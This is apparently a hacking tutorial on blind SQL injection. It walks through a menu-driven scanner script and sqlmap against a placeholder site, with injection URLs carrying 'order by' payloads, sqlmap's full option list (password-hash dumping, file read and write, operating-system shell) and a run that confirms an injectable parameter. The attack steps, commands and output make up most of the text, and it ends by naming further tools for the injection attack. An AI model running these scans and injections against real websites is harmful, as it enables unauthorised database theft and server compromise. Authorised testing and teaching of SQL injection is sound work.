Blind SQL Injection: Simple and Easy Method Using Tools

Finding Vulnerable URL & Parameter

Before you can perform Blind SQL Injection testing, you must find a vulnerable URL or path from the website where you can inject malicious code or character to the vulnerable parameter on the website. You need to find out why your website is vulnerable to Blind SQL injection before you can perform SQL injection attack to the vulnerable parameter. To find a vulnerable URL path, you can use hackinganyway.py to find possible Blind SQL injection:

Step 1: You must run hackinganyway.py python script. Enter 1 for this option:

############################################

 # PENETRATION TESTING FRAMEWORK PRE RELEASE# 

 # Copyright (C) 2009 By Ashikali                                 #

 # HACKING ANYWAY FRAMEWORK V 1.0                   #  

 # General Menu                                                           #

 # Ashikali1208 [at]yahoo[dot]com                                #

 # www.Ashikali.com                                                    #

 # GNU General Public License                                      #

 ############################################

 Enter 1 For Let Me In Framwork

 Enter 2 For View Special Thanks Page

 Enter 3 For Download Resource

 Enter 4 For About This Frameworks

 Enter 5 For Credit Page

 Enter 6 For Exit Completely

 Enter Your Choice Here: 1

Step 2: Select 4 if you want to use proxy option.

################################################

#    PENETRATION TESTING FRAMEWORK PRE RELEASE         #

#    Copyright (C) 2009 By Ashikali                                          #

#    HACKING ANYWAY FRAMEWORK V 1.0                            #

#    PROXY SECTION                                                                #

#    Ashikali1208[at]yahoo[dot]com                                          #

#    www.Ashikali.com                                                             #

################################################

Do You want To Use Proxy??

Enter 1 For Enter In Main Menu With This Proxy

Enter 2 For Get The Proxy

Enter 3 For Taste The Proxy

Enter 4 For Load The Proxy

Enter 5 For Remove Proxy

Enter 6 For Change Proxy

Enter 7 For Help Of This Task

Enter 8 For Exit Fom Current Menu

Enter 9 For Exit Completely

Enter Your Choice Here: 4

Step 3: Enter proxy address and port.

Enter the Proxy Address Here: 127.0.0.1

Enter the Port Here: 3128

[+] Testing Proxy...

[-] Proxy: 127.0.0.1:3128 Successfully Loaded

Process Done Please Press Any key To Go Back In Previous Menu...

Step 4: Select 1 option to go to Main Menu

 #################################################

 #    PENETRATION TESTING FRAMEWORK PRE RELEASE         #

 #    Copyright (C) 2009 By Ashikali                                         #

 #    HACKING ANYWAY FRAMEWORK V 1.0                            #

 #    PROXY SECTION                                                                #

 #    Ashikali1208 [at] yahoo [dot] com                                      #

 #    www.Ashikali.com                                                             #

 #    GNU General Public License                                               #

 #################################################

 Do You want To Use Proxy ??

 Enter 1 For Enter In Main Menu With This Proxy

 Enter 2 For Get The Proxy

 Enter 3 For Taste The Proxy

 Enter 4 For Load The Proxy

 Enter 5 For Remove Proxy

 Enter 6 For Change Proxy

 Enter 7 For Help Of This Task

 Enter 8 For Exit Fom Current Menu

 Enter 9 For Exit Completely

 Enter Your Choice Here: 1

Step 5: Select option 2 for Evaluating the Vulnerability of Target

 ################################################

 #  PENETRATION TESTING FRAMEWORK PRE RELEASE          #

 #  Copyright (C) 2009 By Ashikali                                           #

 #  HACKING ANYWAY FRAMEWORK V 1.0                             #

 #  Main Menu                                                                          #

 #  Ashikali1208[at]yahoo[dot]com                                           #

 #  www.Ashikali.com                                                              #

 #  GNU General Public License                                                #

 ################################################

 Enter 1 For Gathering Basic Information Of Target

 Enter 2 For Evaluating The vulnerability Of Target

 Enter 3 For Brute Forcing To The Target

 Enter 4 For Encryption

 Enter 5 For Attacking

 Enter 6 For Supported Tools

 Enter 7 For Help Or Detail

 Enter 8 For Changing, Removing Proxy Or For Exit From Current Menu

 Enter 9 For Exit Completly

 NOTE:- Currently You Are Using Proxy 127.0.0.1:3128

 Enter Your Choice Here : 2

Step 6: Select option 3 to find Blind SQL injection from a website.

 ################################################

 #  PENETRATION TESTING FRAMEWORK PRE RELEASE          #

 #  Copyright (C) 2009 By Ashikali                                           #

 #  WEB APPLICATION SCANNING                                           #

 #  Ashikali1208[at]yahoo[dot]com                                           #

 #  www.Ashikali.com                                                              #

 #  GNU General Public License                                                #

 ################################################

 Enter 1 For Port Scanning

 Enter 2 For Finding SQL Injection From Website

 Enter 3 For Finding Blind Injection From Website

 Enter 4 For Finding Local File Includation From Website

 Enter 5 For Finding Remote File Includation From Website

 Enter 6 For Finding Cross Site Scripting From Website

 Enter 7 For CGI Scanning

 Enter 8 For Help Of This Task

 Enter 9 for for exit from Current menu

 Enter 10 For Exit Completly

 NOTE:- Currently You Are Using Proxy 127.0.0.1:3128

 Enter which op u wana perform : 3

Step 7: Enter the website name that you want to test.

            Enter Your Site Name Here: www.mywebsite.com

If Web Identify Sucsessfully Its Will logged at webscan.txt you May check the log after scanning finished

Woot Woot Massage will Idntify That Web Is Vulnarable

[-]Saving response length for blind sqli at:http://www.mywebsite.com/viewnews.php?pageid=82+order+by+1--

[-]Saving response length for blind sqli at: http://www.mywebsite.com/viewnews.php? pageid=82+order+by+300--

[+]W00t !! Found Possible Blind sqli Bug at: http://www.mywebsite.com/viewnews.php? pageid=82+order+by+300--

[+]Possible server's hole saved at webscan.txt

[-]Saving response length for blind sqli at: http://www.mywebsite.com/news3.php? pageid=118+order+by+300--

[+]W00t !! Found Possible Blind sqli Bug at:http://www.mywebsite.com/news3.php

?pageid=118+order+by+300--

[+]Possible server's hole saved at webscan.txt

[-]Saving response length for blind sqli at: http://www.mywebsite.com/news2.php? pageid=39+order+by+1--

[+]W00t !! Found Possible Blind sqli Bug at:http://www.mywebsite.com/news2.php

?pageid=39+order+by+300--

[+]Possible server's hole saved at webscan.txt

        Press Any key For Going Back...

Step 8: Open file webscan.txt. The results from webscan.txt file shows some possible Blind SQLi

[+]W00t!!Found Possible Blind sqli Bug at: http://www.mywebsite.com/viewnews.php?

pageid=82+order+by+300--

[+]W00t!!Found Possible Blind sqli Bug at: http://www.mywebsite.com/news3.php? pageid=118+order+by+300--

 

Testing Vulnerable Parameter:

To test a vulnerable parameter using automated tools, you can use some tools such as sqlmap, bsqlbf-v2, darkjumperv5.7 and other tools. To test vulnerable parameter for BlindSQL injection, I’m using sqlmap.py to test the targeted URL above. You must understand and know how to use sqlmap.py tool. If you do not understand how to use it, you can refer to the Help menu that built-in together with this tool (Use sqlmap.py –h  command to see Help menu)

E:\Izhar\Tool\SQL Injection\sqlmap-0.7>sqlmap.py -h

    sqlmap/0.7

    by Bernardo Damele A. G.

Usage: E:\Izhar\Tool\SQL Injection\sqlmap-0.7\sqlmap.py [options]

Options:

  --version             show program's version number and exit

  -h, --help            show this help message and exit

  -v VERBOSE            Verbosity level: 0-5 (default 1)

Target:

    At least one of these options has to be specified to set the source to

    get target urls from.

    -u URL, --url=URL   Target url

    -l LIST             Parse targets from Burp or WebScarab logs

    -g GOOGLEDORK       Process Google dork results as target urls

    -c CONFIGFILE       Load options from a configuration INI file

Request:

These options can be used to specify how to connect to the target url.

    --method=METHOD     HTTP method, GET or POST (default GET)

    --data=DATA         Data string to be sent through POST

    --cookie=COOKIE     HTTP Cookie header

    --referer=REFERER   HTTP Referer header

    --user-agent=AGENT  HTTP User-Agent header

    -a USERAGENTSFILE   Load a random HTTP User-Agent header from file

    --headers=HEADERS   Extra HTTP headers newline separated

    --auth-type=ATYPE   HTTP Authentication type (value Basic or Digest)

    --auth-cred=ACRED   HTTP Authentication credentials (value name:password)

    --proxy=PROXY       Use a HTTP proxy to connect to the target url

    --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)

    --delay=DELAY       Delay in seconds between each HTTP request

    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)

    --retries=RETRIES   Retries when the connection timeouts (default 3)

Injection:

These options can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique.

    -p TESTPARAMETER    Testable parameter(s)

    --dbms=DBMS         Force back-end DBMS to this value

    --os=OS             Force back-end DBMS operating system to this value

    --prefix=PREFIX     Injection payload prefix string

    --postfix=POSTFIX   Injection payload postfix string

    --string=STRING     String to match in page when the query is valid

    --regexp=REGEXP     Regexp to match in page when the query is valid

    --excl-str=ESTRING  String to be excluded before comparing page contents

    --excl-reg=EREGEXP  Matches to be excluded before comparing page contents

Techniques:

These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique.

    --stacked-test      Test for stacked queries (multiple statements) support

    --time-test         Test for time based blind SQL injection

    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)

    --union-test        Test for UNION query (inband) SQL injection

    --union-tech=UTECH  Technique to test for UNION query SQL injection

    --union-use         Use the UNION query (inband) SQL injection to retrieve

       the queries output. No need to go blind

Fingerprint:

    -f, --fingerprint   Perform an extensive DBMS version fingerprint

Enumeration:

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

    -b, --banner        Retrieve DBMS banner

    --current-user      Retrieve DBMS current user

    --current-db        Retrieve DBMS current database

    --is-dba            Detect if the DBMS current user is DBA

    --users             Enumerate DBMS users

    --passwords         Enumerate DBMS user’s password hashes (opt -U)

    --privileges        Enumerate DBMS users privileges (opt -U)

    --dbs               Enumerate DBMS databases

    --tables            Enumerate DBMS database tables (opt -D)

    --columns           Enumerate DBMS database table columns (req -T opt -D)

    --dump              Dump DBMS database table entries (req -T, opt -D, -C)

    --dump-all          Dump all DBMS databases tables entries

    -D DB               DBMS database to enumerate

    -T TBL              DBMS database table to enumerate

    -C COL              DBMS database table column to enumerate

    -U USER             DBMS user to enumerate

    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables

    --start=LIMITSTART  First query output entry to retrieve

    --stop=LIMITSTOP    Last query output entry to retrieve

    --sql-query=QUERY   SQL statement to be executed

    --sql-shell         Prompt for an interactive SQL shell

File system access:

    These options can be used to access the back-end database management

    system underlying file system.

    --read-file=RFILE   Read a file from the back-end DBMS file system

    --write-file=WFILE  Write a local file on the back-end DBMS file system

    --dest-file=DFILE   Back-end DBMS absolute filepath to write to

Operating system access:

    This option can be used to access the back-end database management

    system underlying operating system.

    --os-cmd=OSCMD      Execute an operating system command

    --os-shell          Prompt for an interactive operating system shell

    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC

    --os-smbrelay     One click prompt for an OOB shell, meterpreter or VNC

    --os-bof            Stored procedure buffer overflow exploitation

    --priv-esc          User priv escalation by abusing Windows access tokens

    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed

    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

Miscellaneous:

    --eta               Display for each output the estimated time of arrival

    --update            Update sqlmap to the latest stable version

    -s SESSIONFILE      Save and resume all data retrieved on a session file

    --save              Save options on a configuration INI file

    --batch             Never ask for user input, use the default behaviour

    --cleanup           Clean up the DBMS by sqlmap specific UDF and tab

There is an injection function in sqlmap.py tool. The injection function in sqlmap.py can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique. For testable parameter, by default sqlmap tests all GET parameters, POST parameters, HTTP Cookie header values and HTTP User-Agent header value for dynamicity and SQL injection vulnerability, but it is possible to manually specify the parameter(s) you want sqlmap to perform tests on comma separated in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s).

The example below shows that I will try to test for one parameter called “pageid” to check whether it is vulnerable or not. If you want to test more than one parameter, you can separate it by comma like this “pageid, menuid, sid”. 

E:\Izhar\Tool\SQL Injection\sqlmap-0.7>sqlmap.py –u "http://www.mywebsite.com/

viewnews.php?pageid=82" -v 1 -p "pageid"

    sqlmap/0.7

    by Bernardo Damele A. G.

[*] starting at: 17:15:41

[17:15:41] [INFO] testing connection to the target url

[17:15:45] [INFO] testing if the url is stable, wait a few seconds

[17:15:48] [INFO] url is stable

[17:15:48] [INFO] testing sql injection on GET parameter 'pageid' with 0 parenthesis

[17:15:48] [INFO] testing unescaped numeric injection on GET parameter 'pageid'

[17:15:50] [INFO] confirming unescaped numeric injection on GET parameter 'pageid'

[17:15:52] [INFO] GET parameter 'pageid' is unescaped numeric injectable with 0 parenthesis

[17:15:52] [INFO] testing for parenthesis on injectable parameter

[17:15:54] [INFO] the injectable parameter requires 0 parenthesis

[17:15:54] [INFO] testing MySQL

[17:15:55] [INFO] confirming MySQL

[17:15:59] [INFO] retrieved: 6

[17:16:08] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.6, Apache 1.3.41

back-end DBMS: MySQL >= 5.0.0

[*] shutting down at: 17:16:08

E:\Izhar\Tool\SQL Injection\sqlmap-0.7

The result above shows that parameter pageid is vulnerable for injection. You can use the other functions in sqlmap.py to perform Blind SQL injection attack. And also can use darkMYSQLi.py or DarkjumperV5.7. If you want to use darkMYSQLi.py, you can follow my previous tutorial here: http://www.exploit-db.com/download_pdf/11716. 
But I’m using the other tool called SimpleSQLDumper v5.1 to perform injection attack. 

I will release another article with full details later.